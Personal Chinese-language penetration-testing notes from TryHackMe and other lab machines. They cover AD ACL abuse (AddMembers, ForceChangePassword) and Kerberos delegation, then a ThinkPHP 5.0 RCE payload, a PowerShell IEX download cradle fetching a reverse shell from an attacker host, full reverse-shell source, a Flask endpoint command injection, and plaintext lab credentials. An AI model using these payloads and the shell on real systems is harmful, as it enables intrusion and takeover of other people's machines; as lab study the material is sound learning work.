0%

1
sed -i '1s|^|nameserver 10.200.83.101\n|' /etc/resolv-dnsmasq
  • 常见ad域利用技术-介绍

    现在已执行了内部侦察,拿到ad结构和环境情况。这个阶段将利用配置错误执行横向与提权。其通常与持久化结合以确保不会失去新获得的位置。

  • Exploiting Permission Delegation 利用权限委派

    AD 可以通过 permission Delegation 权限委派的功能来委派权限和特权,利用委派,可以将部分特权委派给帮助团队来避免仅有少数用户可以访问 AD 并处理所有用户请求的情况。原则上委派应遵循最小特权原则,而这里将利用委派配置错误

    • 权限委派

      对其的利用通常被称为基于 ACL 的攻击:AD 允许管理员配置访问控制条目 (ACE),这些条目填充了自主访问控制列表 (DACL) 。几乎任何 AD 对象都可以通过ACE进行安全配置,然后描述其他任何AD对象对目标对象具有的允许和拒绝权限

      而对于配置错误的ACE的例子:如果IT支持团队被授予了对 Domain Users 组的 ForceChangePassword ACE,在这种情况下,他们可以重置忘记密码的员工的密码,但同时可以重置特权账户的密码,如属于 Domain Admins 组的账户,本质上允许特权提升

    • ACE 访问控制条目的利用

      滥用ACE的数量很多,可以参考bloodhound的文档,以下是几个常用的:

      • ForceChangePassword:在不知道用户当前密码的情况下设置其当前密码
      • AddMembers:将用户(包括自己的帐户)、组或计算机添加到目标组
      • GenericAll:对对象拥有完全控制权,包括更改用户密码、注册 SPN 或将 AD 对象添加到目标组的能力
      • GenericWrite:可以更新目标对象的任何非受保护参数。例如,可以更新 scriptPath 参数,其将导致用户下次登录时执行脚本。
      • WriteOwner:可以更新目标对象的所有者。可以将自己设为所有者,从而获得对对象的额外权限。
      • WriteDACL:可以向目标对象的 DACL 中写入新的 ACE。例如,我们可以写入一个 ACE,授予我们的帐户对目标对象的完全控制。
      • AllExtendedRights:可以执行与目标对象相关的扩展 AD 权限的任何操作。这包括例如强制更改用户密码的能力。

        为了利用ACE,需要与AD交互来发出请求,可以使用 AD-RSAT Powershell cmdletPowerSploit

    • 使用 bloodhound

      1
      neo4j console start

      然后启动 bloodhound ,把给的那堆拖进去

      对于我们已经获得的起点 DomainUser@za.tryhackme.loc ,研究其 node info 发现并没有很多权限,其可以远程桌面到 THMWRK1 ,但这只有低权限的访问:

      由于域分层,第一步就是攻击第二层的基础设施,即第二层的管理员组 tier 2 admins@za.tryhackme.loc,其对所有工作站具有管理员特权。

      bloodhound 提供的路径显示,域中错误的为IT支持组提供了对 Domain Users 组的 AddMembers ACE,其意味着 Domain Users 组中任何成员(包括我们的账户)都可以将账户添加到IT支持组中。并且该支持组对二层管理员组的成员都有 ForceChangePassword ACE,其并不能说是配置错误,但与 AddMembers 错误结合后就可以允许我们利用

      ssh 连上去,切到 powershell

      攻击的第一步就是把当前账户添加到IT支持组:

      1
      Add-ADGroupMember "IT Support" -Members "[账户名]"

      用以下命令来查看是否生效

      1
      Get-ADGroupMember -Identity "IT Support"

      既然已经是支持组成员,那么就有着对二层管理员组的 ForceChangePassword 的权限委派,首先选择一个该组的成员:

      1
      Get-ADGroupMember -Identity "Tier 2 Admins"

      这里ssh连接的显示有问题,- 参数都没有显示出来

      1
      2
      $Password = ConvertTo-SecureString "[新密码]" -AsPlainText -Force
      Set-ADAccountPassword -Identity "[幸运挑选的管理员组成员]" -Reset -NewPassword $Password

      如果拒绝访问是因为当前权限还没有在域中传播,!稍作等待 我等了快20分钟,可以把下面的 kerberos 委派看完再回来提权

      此时账密 t2_melanie.davies:admin12345ABC

      1
      ssh za.tryhackme.loc\\t2_melanie.davies@thmwrk1.za.tryhackme.loc
    • 利用 Kerberos 委派

      在讨论 AD 委派时,通常指的就是 Kerberos 委派而非权限委派

      • Kerberos 委派

        其实际用途是使应用程序能访问托管在不同服务器上的资源,如 Web 服务器需要访问托管在数据库服务器上的 SQL 以供其Web使用。如果没有委派,可能会使用一个 AD 服务账户并直接授予其对数据库的访问权限,每当Web应用进行请求时,该服务账户用于对数据库进行身份验证和检索信息

        也可以允许该服务账户被委派到SQL服务器服务。一旦用户登录到Web应用,服务账户将代表该用户请求访问数据库。这意味着用户只能访问他们具有相关权限的数据库数据,而无需为服务账户本身提供任何数据库特权或权限

      • 约束与无约束

        存在两种 Kerberos 委派。对于最不安全的无约束委派 Unconstrained Delegation ,其没有对委派设置任何限制。例如,一个设置了 TRUSTED_FOR_DELEGATION 的用户在无约束委派配置的主机上进行了身份验证,就会生成并存储该用户账户的票据授权票证 TGT 。此时如果攻击者入侵该配置着无约束委派的主机,就可以迫使一个特权账户对主机进行身份验证,进而拦截生成的 TGT 并冒充特权服务。其案例可以参考这篇文章

        而为了解决此类安全问题,引入了约束委派,其限制了一个账户可以被委派到哪些服务从而在账户被入侵时限制暴露的范围

        对于约束委派的利用更加复杂,例如:可以入侵一个配置了约束委派的 AD 账户,知道该账户的明文密码或者 NTLM 哈希,可以为该账户生成一个 TGT ,并使用其对任何非敏感用户账户执行票据授权服务器(TGS)请求以作为该用户访问服务,即冒充一个可以访问敏感数据库的账户

      • 基于资源的委派

        kerberos 委派其实有三种,但基于资源的委派 Resource-Based Constrained Delegation(RBCD) 值得单独拿出来说。其完全改变了委派模型,即不再指定那个对象可以委派给哪个服务,而是服务指定了哪些对象可以委派给他,这使得服务所有者可以控制谁可以访问它。按照上面的例子,数据库服务指定允许Web服务账户委派访问它。

        对其的利用参考这篇文章

      • 约束委派的利用

        首先利用 powerSploit 枚举出可用的委派:

        1
        2
        Import-Module C:\Tools\PowerView.ps1
        Get-NetUser -TrustedToAuth

        可以看到 svcIIS 账户可以委派 THMSERVER1 上的 HTTPWSMAN 。而值得注意的是,其不仅仅只用于模拟用户访问网站,Powershell 远程管理也使用这两个服务。那么一个理想的选择是冒充第一层管理员(即svcIIS账户)来提供对 THMSERVER1 的管理访问权限

  • 扫描打点

    byd平台需要通过openvpn访问才给靶机 ip

    对于 80tp5.0 ,有rce:

    1
    /?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[命令]

    注意下url编码

    whoami 得到当前用户是 NT AUTHORITY\LOCAL SERVICE ,低权限的内置服务账户,应该要想办法横向先

    但curl不出来

    套一层 powershell 可以 curl

    1
    powershell+-nop+-c+"curl+http://172.16.233.2:8000"

    拿到反弹shell

    1
    powershell+-nop+-w+hidden+-c+"IEX+(New-Object+System.Net.WebClient).DownloadString('http://172.16.233.2:8000/revshell.ps1')"

    revshell.ps1如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $client = New-Object System.Net.Sockets.TCPClient("攻击机IP", 4444)
    $stream = $client.GetStream()
    $writer = New-Object System.IO.StreamWriter($stream)
    $writer.AutoFlush = $true
    $buffer = New-Object System.Byte[] 1024
    while ($true) {
    $writer.Write("PS " + (pwd).Path + "> ")
    $writer.Flush()
    $read = $stream.Read($buffer, 0, 1024)
    if ($read -le 0) { break }
    $input = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $read)
    $output = try { Invoke-Expression -Command $input 2>&1 } catch { $_ }
    $writer.WriteLine($output)
    $writer.Flush()
    }
    $client.Close()

  • 提权

    靶机不出网

    进去以后是 powershell 的界面,有的地方需要强制转换为文本形式来输出,例:

    由此可以看到:

    但是手动提权失败

    传东西上去也不行

    内存注入也不行

    tasklist /svc 显示进程能看见360,要做免杀了

  • 扫描打点

    • 80

      扫不出什么东西

    • 8080

      类似论坛之类的东西,可以发表或修改

      找到一些可能有用的:

      找到个操作文档之类的:

      https://flask-jwt-extended.readthedocs.io/en/stable/options/

      再扫一下:

      大概看了一下,users 存了用户名和信息

      registration 要改成 POST ,根据提示发送 usernamepassword 来注册用户

      这里卡了一会,注意需要手动加上 Content-type: application/x-www-form-urlencoded 这是表单默认的提交数据格式,否则识别不到

      然后用同样的办法进 /login

      /secret 的话可能是缺 cookie ,但不知道是我的还是要patrick的

      在文档里面能找到 cookie 的格式

      然后收不到返回值,可能是格式不对,或者要用patrick的?

      bp全责,用hackbar能做,但要放到新建的 header 而非 cookies 里面,感觉怪怪的

      拿到 secret:commandexecutionissecret

      呃呃,然后被提醒有个 /run ,感觉要换字典了

      根据提示的数据格式以及 secret_key 的返回值,应该是拿 json 传的,但bp又发力了接收不到,用 curl

      1
      curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"127.0.0.1:80","secret_key": "commandexecutionissecret"}'

      改一改 url 不难发现其被拼接在 curl 语句后面,那么考虑截断来做到命令执行

  • getshell

    先搜集下信息

    可以注意到 flask 的源码

    美化一下源码可以找到明文的 jwt_secret_key:NOreasonableDOUBTthisPASSWORDisGOOD

    密码复用登 ssh

  • linux 提权

    可能是前面有点麻烦,sudo -l 直接提了